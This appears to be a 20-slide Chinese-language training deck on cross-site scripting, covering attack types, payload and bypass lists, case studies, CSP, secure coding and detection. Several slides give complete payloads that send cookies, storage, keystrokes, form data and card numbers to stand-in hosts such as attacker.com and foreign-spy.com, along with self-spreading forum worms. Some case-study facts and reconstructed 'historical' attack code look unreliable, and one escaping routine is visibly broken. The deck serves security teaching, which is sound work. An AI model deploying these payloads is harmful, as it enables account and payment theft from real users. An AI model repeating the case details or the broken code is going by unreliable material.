1 / 20
封面

Cross-Site Scripting (XSS)

網路安全漏洞完全指南

深入了解 XSS 攻擊手法、真實案例與防護機制

⚠️ 本教材僅供教育用途，禁止用於非法活動

目錄

課程大綱 (20頁完整版)

🔍 基礎概念 (1-5頁)

  • XSS 漏洞概述與統計
  • 攻擊原理與成因分析
  • 漏洞分類與比較
  • 反射型 XSS 詳解
  • 儲存型 XSS 詳解

⚔️ 攻擊技術 (6-10頁)

  • DOM 型 XSS 詳解
  • 攻擊載荷大全
  • 繞過技術與編碼
  • 進階攻擊手法
  • 社會工程學應用

📊 真實案例 (11-15頁)

  • MySpace 蠕蟲事件
  • Twitter 攻擊案例
  • Facebook XSS 漏洞
  • 電商平台攻擊
  • 政府網站漏洞

🛡️ 防護機制 (16-18頁)

  • 輸入驗證與輸出編碼
  • CSP 內容安全政策
  • 安全開發實踐

🔧 檢測與修復 (19頁)

  • 漏洞檢測方法
  • 自動化掃描工具
  • 修復建議與最佳實踐

⚖️ 法律倫理 (20頁)

  • 法律責任與風險
  • 倫理準則
  • 課程總結
💡 學習目標
• 理解 XSS 攻擊原理與類型
• 掌握防護機制與修復方法
• 了解真實攻擊案例與影響
• 建立安全開發意識
概述

XSS 漏洞概述與現況統計

🎯 什麼是 Cross-Site Scripting？

XSS 是一種代碼注入攻擊，攻擊者在網頁中注入惡意腳本，當其他用戶瀏覽這些頁面時，惡意腳本會在用戶瀏覽器中執行。

📊 全球統計數據

  • 68% 的網站存在 XSS 漏洞
  • 40% 的網路攻擊涉及 XSS
  • OWASP Top 10 常駐漏洞
  • 每年造成 數十億美元 損失

🎯 主要攻擊目標

  • 竊取用戶 Cookie 和 Session
  • 冒充用戶身份進行操作
  • 重定向到釣魚網站
  • 竊取敏感個人資訊
  • 植入惡意軟體

🔍 為什麼叫 "Cross-Site Scripting"？

// 原本應該只顯示用戶輸入的文字 echo "歡迎用戶: " . $_GET['name']; // 但如果用戶輸入惡意腳本... // URL: http://site.com/welcome.php?name=<script>alert('XSS')</script> // 結果: 歡迎用戶: <script>alert('XSS')</script> // 瀏覽器會執行這個腳本！
⚠️ 重要提醒
XSS 攻擊利用的是用戶對網站的信任。用戶以為看到的是網站的正常內容，實際上可能是攻擊者注入的惡意代碼。
攻擊原理

XSS 攻擊原理與成因分析

🔧 攻擊流程分析

1. 注入階段

攻擊者將惡意腳本注入到網頁中

2. 傳播階段

惡意腳本隨著網頁內容傳播給用戶

3. 執行階段

受害者瀏覽器執行惡意腳本代碼

❓ 為什麼會產生 XSS 漏洞？

🔴 技術層面原因

  • 輸入驗證不足：未檢查用戶輸入內容
  • 輸出編碼缺失：直接輸出未處理的數據
  • 信任邊界模糊：混淆數據和代碼
  • 過濾機制不完善：容易被繞過

🔴 人為因素

  • 安全意識不足：開發者缺乏安全知識
  • 開發時間壓力：趕工忽略安全檢查
  • 測試不充分：未進行安全測試
  • 維護不及時：舊系統未更新

💻 常見的危險程式碼模式

// PHP 危險模式 echo $_GET['input']; // 直接輸出 GET 參數 echo $_POST['comment']; // 直接輸出 POST 數據 $html .= $userInput; // 字串拼接 // JavaScript 危險模式 document.write(userInput); // 直接寫入 DOM element.innerHTML = userInput; // 設定 innerHTML eval(userInput); // 動態執行代碼 // JSP 危險模式 out.println(request.getParameter("name")); // 直接輸出參數 // ASP.NET 危險模式 Response.Write(Request.QueryString["data"]); // 直接響應輸出
分類比較

XSS 漏洞分類與詳細比較

📊 三大類型比較表

特性 反射型 XSS 儲存型 XSS DOM 型 XSS
持久性 非持久 持久 非持久
危害程度 中等 高 中等
攻擊難度 低 中等 高
影響範圍 單一用戶 所有用戶 單一用戶
檢測難度 容易 中等 困難

🎯 各類型攻擊場景與程式碼示例

🔄 反射型 XSS

漏洞代碼：

echo "搜索：" . $_GET['q'];

攻擊載荷：

?q=<script>alert('XSS')</script>

💾 儲存型 XSS

漏洞代碼：

// 直接儲存留言 $sql = "INSERT INTO comments VALUES ('$comment')";

攻擊載荷：

<script>fetch('/steal?c='+document.cookie)</script>

🌐 DOM 型 XSS

漏洞代碼：

document.getElementById('name') .innerHTML = location.hash;

攻擊載荷：

#<img src=x onerror=alert('XSS')>
反射型深入

反射型 XSS 深入分析與實例

🔍 常見的反射型 XSS 場景

📝 搜索功能漏洞

<?php $search = $_GET['search']; echo "<h2>搜索結果：$search</h2>"; echo "<p>找到 0 個結果</p>"; ?>

攻擊URL：

/search.php?search=<script> window.location='http://evil.com/phish'; </script>

❌ 錯誤頁面漏洞

<?php $error = $_GET['error']; echo "<div class='error'>"; echo "錯誤：$error"; echo "</div>"; ?>

攻擊URL：

/error.php?error=<script> document.body.innerHTML='<h1>網站被駭</h1>'; </script>

🎭 社會工程學攻擊實例

💌 釣魚郵件範例
主旨：【重要】您的帳戶安全驗證
內容：親愛的用戶，我們偵測到您的帳戶有異常登入，請點擊以下連結進行驗證：
https://bank-secure.com/verify?token=<script>location.href='http://fake-bank.com/steal?ref='+document.referrer</script>

🔗 短網址隱藏攻擊

// 原始惡意 URL (太長太明顯) https://vulnerable-site.com/redirect?url=javascript:eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41)) // 使用短網址服務隱藏 https://bit.ly/3xSs123 https://tinyurl.com/malicious-link // 攻擊者還可能使用相似域名 https://goog1e.com/redirect?to=<script>/*惡意代碼*/</script>
儲存型深入

儲存型 XSS 深入分析與蠕蟲攻擊

💀 論壇系統完整攻擊示例

// 1. 漏洞的論壇後端代碼 (PHP) <?php if ($_POST['action'] == 'post') { $username = $_SESSION['username']; $content = $_POST['content']; // 未過濾！ $sql = "INSERT INTO posts (username, content, time) VALUES ('$username', '$content', NOW())"; mysqli_query($conn, $sql); } // 2. 顯示貼文的代碼 $posts = mysqli_query($conn, "SELECT * FROM posts ORDER BY time DESC"); while ($row = mysqli_fetch_assoc($posts)) { echo "<div class='post'>"; echo "<h4>" . $row['username'] . "</h4>"; echo "<p>" . $row['content'] . "</p>"; // 直接輸出！ echo "</div>"; } ?>

🦠 XSS 蠕蟲攻擊載荷

// 貼文內容：看似正常的討論 這個話題很有趣！我想分享一些想法... <script> // XSS 蠕蟲：自動發布相同的惡意貼文 setTimeout(function() { // 尋找發文表單 var form = document.querySelector('form[action*="post"]'); if (form) { var textarea = form.querySelector('textarea[name="content"]'); if (textarea) { // 複製自己並添加一些變化以避免檢測 var payload = '很棒的分享！' + document.currentScript.outerHTML; textarea.value = payload; // 自動提交表單 form.submit(); } } // 同時竊取用戶資料 fetch('http://attacker.com/collect.php', { method: 'POST', body: JSON.stringify({ cookies: document.cookie, url: location.href, html: document.documentElement.innerHTML, storage: { local: JSON.stringify(localStorage), session: JSON.stringify(sessionStorage) } }) }); }, Math.random() * 10000); // 隨機延遲避免檢測 </script>

📊 攻擊影響評估

🎯 立即影響
• 每個訪問論壇的用戶都會被感染
• 自動竊取所有用戶的登入憑證
• 蠕蟲會自我複製到其他貼文
• 可能在數小時內感染數千用戶
⚠️ 長期危害
• 用戶帳戶被完全控制
• 個人資料和私訊被竊取
• 可能用於進一步的社會工程攻擊
• 網站信譽嚴重受損
DOM型詳解

DOM 型 XSS 詳解與現代前端漏洞

🌐 DOM XSS 的特殊性

DOM 型 XSS 完全在客戶端執行，惡意載荷從不發送到服務器，這使得傳統的服務器端防護措施無效。

💻 常見的 DOM XSS 漏洞模式

🔴 危險的 DOM 操作

// 1. innerHTML 危險用法 var name = location.hash.substr(1); document.getElementById('welcome').innerHTML = '<h1>歡迎 ' + name + '</h1>'; // 2. document.write 危險用法 var msg = new URLSearchParams(location.search).get('msg'); document.write('<div>' + msg + '</div>'); // 3. eval 相關危險用法 var code = location.hash.substr(1); eval(code); // 4. setTimeout/setInterval 字串執行 var timer = location.search.split('timer=')[1]; setTimeout(timer, 1000);

🔴 jQuery 常見錯誤

// 1. .html() 方法危險用法 var content = location.hash.substr(1); $('#content').html(content); // 2. .append() 動態內容 var item = $.url().param('item'); $('#list').append('<li>' + item + '</li>'); // 3. .after() .before() 插入 var ad = location.search.split('ad=')[1]; $('.content').after(ad); // 4. 動態屬性設置 var href = location.hash.substr(1); $('a').attr('href', href); // 如果 href = "javascript:al\ert('XSS')" 就危險了

⚔️ 實際攻擊示例

// 攻擊場景 1: 單頁應用路由 // 漏洞代碼：根據 URL hash 顯示頁面內容 function route() { var page = location.hash.substr(1) || 'home'; document.getElementById('content').innerHTML = getPageContent(page); } // 攻擊 URL: https://spa-app.com/#<img src=x onerror=" // 竊取所有本地存儲的資料 var data = { localStorage: JSON.stringify(localStorage), sessionStorage: JSON.stringify(sessionStorage), cookies: document.cookie }; fetch('http://evil.com/steal', {method:'POST', body:JSON.stringify(data)}); "> // 攻擊場景 2: 搜索建議功能 // 漏洞代碼：動態顯示搜索建議 function showSuggestions() { var query = document.getElementById('search').value; var suggestions = '<div>您是否要搜索：' + query + '</div>'; document.getElementById('suggestions').innerHTML = suggestions; } // 攻擊：在搜索框輸入 <script> // 劫持所有表單提交 document.addEventListener('submit', function(e) { var formData = new FormData(e.target); fetch('http://attacker.com/forms', {method:'POST', body:formData}); }); </script>
攻擊載荷

XSS 攻擊載荷大全與繞過技術

🎯 基礎測試載荷

🚨 彈窗測試

<script>alert('XSS')</script> <script>confirm('XSS Test')</script> <script>prompt('Enter XSS')</script> <script>console.log('XSS in console')</script>

📸 事件處理器

<img src=x onerror=alert('XSS')> <body onload=alert('XSS')> <svg onload=alert('XSS')> <iframe src="javascript:alert('XSS')"> <details open ontoggle=alert('XSS')> <video poster=javascript:alert('XSS')>

🔓 繞過過濾器技術

🔤 大小寫混合

<ScRiPt>alert('XSS')</ScRiPt> <IMG SRC=x ONERROR=alert('XSS')> <SvG oNlOaD=alert('XSS')> <iFramE sRc=javascript:alert('XSS')>

🔢 編碼繞過

// HTML 實體編碼 <script>alert('XSS')</script> // URL 編碼 %3Cscript%3Eal\ert('XSS')%3C/script%3E // Unicode 編碼 \u003cscript\u003eal\ert('XSS')\u003c/script\u003e // 十六進制編碼 <script>alert('XSS')</script>

✂️ 字串分割

<script>eval('ale'+'rt("XSS")')</script> <script>window['al'+'ert']('XSS')</script> <script>top['al\x65rt']('XSS')</script> <script>(alert)('XSS')</script>

🚀 無腳本標籤攻擊

// 圖片標籤攻擊 <img src=x onerror=alert('XSS')> <img src="javascript:alert('XSS')"> // SVG 攻擊 <svg onload=alert('XSS')></svg> <svg><script>alert('XSS')</script></svg> // 其他標籤 <iframe src="javascript:alert('XSS')"></iframe> <embed src="javascript:alert('XSS')"> <object data="javascript:alert('XSS')"></object> <link rel=stylesheet href="javascript:alert('XSS')"> <meta http-equiv="refresh" content="0;url=javascript:alert('XSS')"> <form action="javascript:alert('XSS')"><input type=submit></form>
進階攻擊

進階 XSS 攻擊手法與自動化

🍪 Cookie 與 Session 竊取

// 1. 基本 Cookie 竊取 <script> document.location='http://attacker.com/steal.php?cookie='+document.cookie; </script> // 2. 使用圖片請求 (繞過 CORS) <script> new Image().src='http://attacker.com/log.php?c='+encodeURIComponent(document.cookie)+ '&url='+encodeURIComponent(location.href)+ '&referrer='+encodeURIComponent(document.referrer); </script> // 3. 使用 fetch API (現代瀏覽器) <script> fetch('http://attacker.com/collect', { method: 'POST', mode: 'no-cors', body: JSON.stringify({ cookies: document.cookie, localStorage: JSON.stringify(localStorage), sessionStorage: JSON.stringify(sessionStorage), url: location.href, userAgent: navigator.userAgent, timestamp: new Date().toISOString() }) }); </script>

🎣 釣魚攻擊與頁面劫持

// 完全替換頁面內容進行釣魚 <script> document.body.innerHTML = ` <div style="text-align:center; padding:50px; font-family:Arial;"> <h1>安全驗證</h1> <p>為了您的帳戶安全，請重新輸入您的登入資訊：</p> <form id="phishForm"> <input type="text" placeholder="用戶名" required><br><br> <input type="password" placeholder="密碼" required><br><br> <button type="submit">驗證</button> </form> </div>`; document.getElementById('phishForm').addEventListener('submit', function(e) { e.preventDefault(); var formData = new FormData(e.target); fetch('http://attacker.com/phish', { method: 'POST', body: formData }).then(() => { al\ert('驗證完成，感謝您的配合！'); location.href = 'https://real-site.com'; // 重定向到真實網站 }); }); </script>

⌨️ 鍵盤記錄與用戶行為監控

// 記錄所有按鍵 <script> document.addEventListener('keypress', function(e) { fetch('http://attacker.com/keylog.php', { method: 'POST', body: JSON.stringify({ key: e.key, code: e.code, timestamp: Date.now(), url: location.href }) }); }); // 記錄滑鼠點擊 document.addEventListener('click', function(e) { fetch('http://attacker.com/clicklog.php', { method: 'POST', body: JSON.stringify({ x: e.clientX, y: e.clientY, target: e.target.tagName, timestamp: Date.now() }) }); }); </script>
真實案例1

MySpace 蠕蟲事件 (2005) - Samy 蠕蟲

🐛 史上第一個 XSS 蠕蟲攻擊

📊 攻擊概況

  • 攻擊者：Samy Kamkar (19歲學生)
  • 日期：2005年10月4日
  • 平台：MySpace 社交網站
  • 影響：24小時內感染超過100萬用戶
  • 類型：儲存型 XSS 蠕蟲

🎯 攻擊目標

  • 自動將 Samy 添加為好友
  • 在個人資料中留下 "Samy is my hero"
  • 自我複製到每個被感染的用戶資料
  • 展示 XSS 攻擊的威力

💻 蠕蟲代碼分析 (簡化版)

// Samy 蠕蟲的核心概念 (實際代碼更複雜) var payload = ` <div id="myHeroDiv">Samy is my hero</div> <script> // 1. 添加 Samy 為好友 var addFriendRequest = new XMLHttpRequest(); addFriendRequest.open('POST', '/index.cfm?fuseaction=user.addFriend'); addFriendRequest.send('friendID=11851658'); // Samy 的用戶 ID // 2. 複製蠕蟲代碼到當前用戶的個人資料 var updateProfileRequest = new XMLHttpRequest(); updateProfileRequest.open('POST', '/index.cfm?fuseaction=profile.update'); updateProfileRequest.send('bio=' + encodeURIComponent(payload)); </script>`; // 繞過 MySpace 的過濾器 // 使用 eval() 和 String.fromCharCode() 來隱藏 JavaScript 關鍵字 var hiddenCode = 'eval(String.fromCharCode(' + payload.split('').map(c => c.charCodeAt(0)).join(',') + '))';

📈 傳播過程與影響

⚡ 指數級傳播
• 第1小時：感染數百人
• 第6小時：感染數萬人
• 第20小時：突破100萬人
• 結果：MySpace 緊急關閉網站進行修復
🎓 技術創新點
• 首次展示了 XSS 的自我複製能力
• 證明了社交網站的巨大安全風險
• 促使業界重視 XSS 防護
• 成為資訊安全教育的經典案例
真實案例2

Twitter XSS 攻擊事件 (2010) - StalkDaily 蠕蟲

🐦 Twitter 平台的 XSS 漏洞攻擊

📊 攻擊概況

  • 日期：2010年9月21日
  • 平台：Twitter.com
  • 漏洞位置：推文懸停預覽功能
  • 影響：數千個高知名度帳戶被感染
  • 類型：DOM 型 XSS

🎯 攻擊效果

  • 鼠標懸停時自動執行 JavaScript
  • 自動轉發包含 XSS 的推文
  • 重定向到惡意網站
  • 竊取用戶的 OAuth token

💻 攻擊代碼分析

// 原始攻擊推文內容 var maliciousTweet = ` Check out this link: http://example.com <script class="xss"> // 當用戶鼠標懸停在推文上時執行 document.onmouseover = function() { // 1. 自動轉發這條推文 var retweetForm = document.querySelector('form[action*="retweet"]'); if (retweetForm) { retweetForm.submit(); } // 2. 發送新的惡意推文 var tweetBox = document.querySelector('#tweet-box-home-timeline'); if (tweetBox) { tweetBox.value = 'Check this out: ' + document.currentScript.outerHTML; document.querySelector('#update-form').submit(); } // 3. 重定向到惡意網站 setTimeout(function() { window.location.href = 'http://stalkdaily.com'; }, 2000); }; </script>`; // Twitter 的漏洞：未正確過濾推文預覽中的 HTML // 推文在懸停預覽時會執行其中的 JavaScript 代碼

📊 影響評估與後果

⚠️ 受影響帳戶
• 政治人物和名人帳戶
• 新聞媒體官方帳戶
• 企業品牌帳戶
• 普通用戶數千人
✅ 修復措施
• 立即禁用推文預覽功能
• 強化 HTML 過濾機制
• 實施更嚴格的 CSP
• 全面安全代碼審計
真實案例3

Facebook XSS 漏洞案例分析

📘 Facebook 平台多起 XSS 事件

🎯 2011年 動態時報 XSS

  • 漏洞位置：動態消息顯示
  • 影響：自動分享惡意連結
  • 傳播：病毒式擴散
  • 修復時間：約2小時

🎯 2014年 訊息系統 XSS

  • 漏洞位置：私人訊息功能
  • 影響：竊取私人對話
  • 發現者：安全研究員
  • 獎金：$15,000 漏洞懸賞

💻 典型攻擊代碼

// Facebook 動態時報 XSS 攻擊載荷 var facebookXSS = ` <script> // 1. 自動點讚和分享 document.querySelectorAll('[data-testid="fb-ufi-likelink"]').forEach(btn => btn.click()); // 2. 自動發布狀態 var composer = document.querySelector('[data-testid="status-attachment-mentions-input"]'); if (composer) { composer.value = '看看這個有趣的連結！' + location.href; document.querySelector('[data-testid="react-composer-post-button"]').click(); } // 3. 收集好友列表 var friends = []; document.querySelectorAll('[data-hovercard-prefer-more-content-show]').forEach(friend => { friends.push({ name: friend.textContent, id: friend.getAttribute('data-hovercard-objectid') }); }); // 4. 發送收集的資料 fetch('http://attacker.com/facebook-harvest', { method: 'POST', body: JSON.stringify({ friends: friends, profile: document.title, cookies: document.cookie }) }); </script>`;

📊 攻擊影響統計

⚡ 2011年動態時報攻擊影響
• 感染用戶：超過10萬人
• 惡意分享：數百萬次
• 資料洩露：個人資料、好友關係
• 經濟損失：估計數百萬美元
真實案例4

電商平台 XSS 攻擊案例

🛒 電商網站 XSS 攻擊的特殊危害

電商平台的 XSS 攻擊特別危險，因為涉及金融交易和信用卡資訊。

💳 攻擊目標

  • 竊取信用卡資訊
  • 劫持購物車內容
  • 修改收貨地址
  • 竊取會員資料
  • 進行未授權交易

🎯 常見漏洞位置

  • 商品評論系統
  • 商品搜索功能
  • 用戶評價顯示
  • 購物車頁面
  • 結帳流程

💻 電商 XSS 攻擊代碼示例

// 商品評論中的 XSS 攻擊 評論內容：這個商品質量很好，推薦購買！ <script> // 等待用戶進入結帳頁面 var checkInterval = setInterval(function() { if (location.pathname.includes('/checkout') || location.pathname.includes('/payment')) { // 劫持信用卡表單 var forms = document.querySelectorAll('form'); forms.forEach(function(form) { form.addEventListener('submit', function(e) { // 收集信用卡資訊 var cardData = { cardNumber: document.querySelector('input[name*="card"]').value, cvv: document.querySelector('input[name*="cvv"]').value, expiry: document.querySelector('input[name*="expiry"]').value, name: document.querySelector('input[name*="name"]').value, address: document.querySelector('textarea[name*="address"]').value }; // 發送到攻擊者服務器 fetch('http://attacker.com/steal-cards', { method: 'POST', body: JSON.stringify(cardData) }); }); }); clearInterval(checkInterval); } }, 1000); // 同時竊取已保存的地址和付款方式 if (localStorage.savedCards) { fetch('http://attacker.com/saved-data', { method: 'POST', body: localStorage.savedCards }); } </script>

💰 實際損失案例

⚠️ 2018年某大型電商平台
• 影響用戶：約50萬人
• 洩露資料：信用卡、地址資訊
• 經濟損失：賠償2億美元
• 法律後果：遭到集體訴訟
📈 攻擊趨勢
• 電商 XSS 攻擊逐年增加
• 黑色星期五等大促期間高發
• 針對移動端購物 APP
• 結合社會工程學手段
真實案例5

政府網站 XSS 漏洞案例

🏛️ 政府網站安全的重要性

政府網站的 XSS 漏洞不僅影響公眾信任，還可能被用於政治宣傳和虛假資訊傳播。

🎯 2019年某國政府網站

  • 漏洞位置：公民服務查詢頁面
  • 影響：顯示虛假政府公告
  • 持續時間：約6小時
  • 後果：引起公眾恐慌

🎯 2020年某市政府網站

  • 漏洞位置：市民留言板
  • 影響：竊取市民個資
  • 受害者：約3萬市民
  • 修復：網站重建

💻 政府網站 XSS 攻擊示例

// 市民留言板 XSS 攻擊 留言內容：希望政府加強網路安全建設 <script> // 替換政府公告內容 setTimeout(function() { var announcements = document.querySelectorAll('.announcement, .notice'); announcements.forEach(function(elem) { elem.innerHTML = ` <div style="color:red; font-weight:bold;"> 【緊急通知】由於系統升級，所有市民服務暫時停止... </div>`; }); // 竊取填寫的個人資料 var forms = document.querySelectorAll('form'); forms.forEach(function(form) { form.addEventListener('submit', function(e) { var formData = new FormData(e.target); var data = {}; for (var [key, value] of formData.entries()) { data[key] = value; } fetch('http://foreign-spy.com/collect-citizen-data', { method: 'POST', body: JSON.stringify(data) }); }); }); }, 2000); </script>

🚨 國家安全影響

⚠️ 潛在的國家安全風險
• 虛假資訊傳播：可能引起社會動盪
• 公民資料洩露：可用於身份盜用
• 政府信譽受損：降低公眾對政府的信任
• 外國勢力滲透：可能被用於情報收集
防護機制1

XSS 防護機制：輸入驗證與輸出編碼

🛡️ 多層防護策略

有效的 XSS 防護需要在多個層面實施安全措施，形成縱深防禦體系。

🔍 輸入驗證最佳實踐

✅ 白名單驗證

// PHP 白名單驗證示例 function validateInput($input, $type = 'text') { switch($type) { case 'email': return filter_var($input, FILTER_VALIDATE_EMAIL); case 'alphanumeric': return preg_match('/^[a-zA-Z0-9\s]+$/', $input); case 'safe_html': $allowed = '<p><br><strong><em>'; return strip_tags($input, $allowed); default: return htmlspecialchars($input, ENT_QUOTES, 'UTF-8'); } } // 使用示例 $username = validateInput($_POST['username'], 'alphanumeric'); $comment = validateInput($_POST['comment'], 'safe_html');

❌ 黑名單過濾 (不推薦)

// 不安全的黑名單過濾 function badFilter($input) { $dangerous = ['<script>', 'javascript:', 'on']; return str_ireplace($dangerous, '', $input); } // 容易繞過： // <ScRiPt> (大小寫) // <script > (空格) // <svg onload=alert()> (其他標籤) // javascript: (編碼) // 正確做法：使用白名單 function safeFilter($input) { return htmlspecialchars($input, ENT_QUOTES, 'UTF-8'); }
防護機制2

CSP 內容安全政策 (Content Security Policy)

🔐 CSP 是什麼？

CSP 是一個額外的安全層，用於檢測並減輕某些類型的攻擊，包括 XSS 和數據注入攻擊。

📋 CSP 指令說明

🎯 基本指令

  • default-src：預設來源策略
  • script-src：JavaScript 來源
  • style-src：CSS 來源
  • img-src：圖片來源
  • connect-src：AJAX/WebSocket 來源

🛡️ 安全值

  • 'self'：同源載入
  • 'none'：禁止載入
  • 'unsafe-inline'：允許內聯
  • 'unsafe-eval'：允許 eval()
  • nonce-xxx：隨機數驗證

💻 CSP 配置示例

// 1. 嚴格的 CSP 設定 Content-Security-Policy: default-src 'none'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self'; font-src 'self'; // 2. 使用 nonce 的安全設定 Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-2726c7f26c'; style-src 'self' 'nonce-2726c7f26c'; // HTML 中使用 nonce <script nonce="2726c7f26c"> // 只有帶有正確 nonce 的腳本才能執行 console.log('This script is allowed'); </script> // 3. 報告模式 (測試用) Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report-endpoint;

⚡ CSP 實施步驟

1. 分析階段

  • 審計現有代碼
  • 識別資源來源
  • 列出必要的指令

2. 測試階段

  • 使用 Report-Only 模式
  • 收集違規報告
  • 調整策略設定

3. 部署階段

  • 逐步收緊策略
  • 監控違規報告
  • 持續優化
安全開發

安全開發實踐與程式碼審計

🔍 安全開發生命週期 (SDLC)

📋 開發階段檢查清單

  • ☑️ 所有用戶輸入都經過驗證
  • ☑️ 所有輸出都經過適當編碼
  • ☑️ 實施 CSP 內容安全政策
  • ☑️ 使用安全的 Cookie 設定
  • ☑️ 啟用 HTTPS 和安全標頭
  • ☑️ 定期進行安全測試

🧪 測試階段驗證

  • ☑️ 單元測試包含安全測試案例
  • ☑️ 整合測試驗證過濾機制
  • ☑️ 使用自動化安全掃描工具
  • ☑️ 進行手動滲透測試
  • ☑️ 代碼審計和同行評審
  • ☑️ 安全回歸測試

🛠️ 安全編碼範例

// 安全的模板使用 (使用框架內建保護) // React (自動 XSS 保護) function UserProfile({userName}) { return <h1>Welcome {userName}</h1>; // 自動編碼 } // Vue.js (自動 XSS 保護) <template> <div>{{ userName }}</div> <!-- 自動編碼 --> </template> // Angular (自動 XSS 保護) <div>{{userName}}</div> <!-- 自動編碼 --> // 危險用法 (需要特別小心) // React <div dangerouslySetInnerHTML={{__html: userContent}} /> // Vue.js <div v-html="userContent"></div> // Angular <div [innerHTML]="userContent"></div>

🔧 常用安全工具

🔍 靜態分析

  • SonarQube
  • ESLint Security
  • Bandit (Python)
  • Brakeman (Ruby)

🕷️ 動態掃描

  • OWASP ZAP
  • Burp Suite
  • Acunetix
  • Nessus

🛡️ 執行時保護

  • Web Application Firewall
  • Runtime Application Self-Protection
  • Content Security Policy
  • Subresource Integrity
檢測修復

XSS 漏洞檢測與修復指南

🔍 漏洞檢測方法

✋ 手動測試技巧

// 基本測試載荷 <script>alert('XSS')</script> <img src=x onerror=alert('XSS')> <svg onload=alert('XSS')> // 測試不同上下文 // HTML 內容 <h1>[USER_INPUT]</h1> // HTML 屬性 <img src="[USER_INPUT]"> // JavaScript 字串 var name = "[USER_INPUT]"; // CSS 樣式 <style>body{background:[USER_INPUT]}</style>

🤖 自動化檢測

// 使用 OWASP ZAP API 進行自動掃描 import zapv2 zap = zapv2.ZAP(proxies={ 'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080' }) # 開始爬蟲 scanid = zap.spider.scan('http://target-site.com') # 開始主動掃描 scanid = zap.ascan.scan('http://target-site.com') # 獲取 XSS 漏洞報告 alerts = zap.core.alerts() xss_alerts = [alert for alert in alerts if 'Cross Site Scripting' in alert['name']]

🩹 漏洞修復策略

🚨 緊急修復

  • 立即禁用受影響功能
  • 添加臨時輸入過濾
  • 實施 WAF 規則
  • 監控異常活動

🔧 中期修復

  • 實施適當的輸出編碼
  • 加強輸入驗證
  • 部署 CSP 政策
  • 更新安全標頭

🏗️ 長期改善

  • 重構不安全代碼
  • 實施安全開發流程
  • 定期安全培訓
  • 建立安全監控

📊 修復驗證

// 修復驗證測試腳本 function testXSSFix(url, payload) { fetch(url + '?input=' + encodeURIComponent(payload)) .then(response => response.text()) .then(html => { // 檢查是否仍包含未編碼的載荷 if (html.includes(payload)) { console.error('XSS 漏洞仍然存在!'); return false; } // 檢查是否正確編碼 const encodedPayload = payload .replace(/&/g, '&') .replace(//g, '&gt;') .replace(/"/g, '"') .replace(/'/g, '''); if (html.includes(encodedPayload)) { console.log('XSS 漏洞已修復！'); return true; } console.warn('需要進一步檢查修復狀況'); return null; }); } // 測試常見載荷 const testPayloads = [ '<script>alert("XSS")</script>', '<img src=x onerror=alert("XSS")>', '<svg onload=alert("XSS")>', 'javascript:alert("XSS")' ]; testPayloads.forEach(payload => { testXSSFix('http://example.com/search', payload); });
總結

法律倫理與課程總結

⚖️ 法律責任與倫理準則

🚨 法律警告

  • 刑事責任：XSS 攻擊可能面臨數年監禁
  • 民事賠償：需賠償受害者經濟損失
  • 國際制裁：跨國攻擊可能引發外交問題
  • 職業後果：可能影響未來就業

🎓 倫理準則

  • 負責任披露：發現漏洞應通知相關方
  • 最小影響原則：測試時降低影響
  • 獲得授權：只在授權系統測試
  • 保護隱私：不洩露他人資料

🎯 課程重點總結

🔍 技術要點

  • XSS 三大類型各有特點和防護重點
  • 輸入驗證和輸出編碼是基礎防護
  • CSP 是重要的額外安全層
  • 現代框架提供內建 XSS 保護
  • 安全開發流程至關重要

🌟 實踐建議

  • 始終對用戶輸入保持懷疑態度
  • 採用縱深防禦策略
  • 定期進行安全測試和代碼審計
  • 持續學習最新的攻擊技術
  • 建立完善的事件應急預案

📚 後續學習資源

📖 官方文檔

  • OWASP XSS Prevention
  • MDN Web Security
  • W3C CSP 規範

🛠️ 實踐平台

  • OWASP WebGoat
  • DVWA
  • PortSwigger Academy

🏆 認證考試

  • CEH (道德駭客)
  • OSCP (滲透測試)
  • CISSP (資安專家)
🎉 恭喜完成 XSS 安全課程！
記住：安全是一個持續的過程，而不是一次性的任務。希望這個課程能幫助您建立堅實的網路安全基礎，並在實際工作中應用這些知識來保護用戶和組織的數位資產。
⚠️ 最終提醒
本課程所有內容僅供教育和學術研究使用。請遵守當地法律法規，不得將這些知識用於任何非法活動。作為資訊安全專業人員，我們有責任保護而非破壞網路環境。
總結

法律倫理與課程總結

⚖️ 法律責任與倫理準則

🚨 法律警告

  • 刑事責任：XSS 攻擊可能面臨數年監禁
  • 民事賠償：需賠償受害者經濟損失
  • 國際制裁：跨國攻擊可能引發外交問題
  • 職業後果：可能影響未來就業

🎓 倫理準則

  • 負責任披露：發現漏洞應通知相關方
  • 最小影響原則：測試時降低影響
  • 獲得授權：只在授權系統測試
  • 保護隱私：不洩露他人資料
🎉 恭喜完成 XSS 安全課程！
記住：安全是一個持續的過程，而不是一次性的任務。希望這個課程能幫助您建立堅實的網路安全基礎。
⚠️ 最終提醒
本課程所有內容僅供教育和學術研究使用。請遵守當地法律法規，不得將這些知識用於任何非法活動。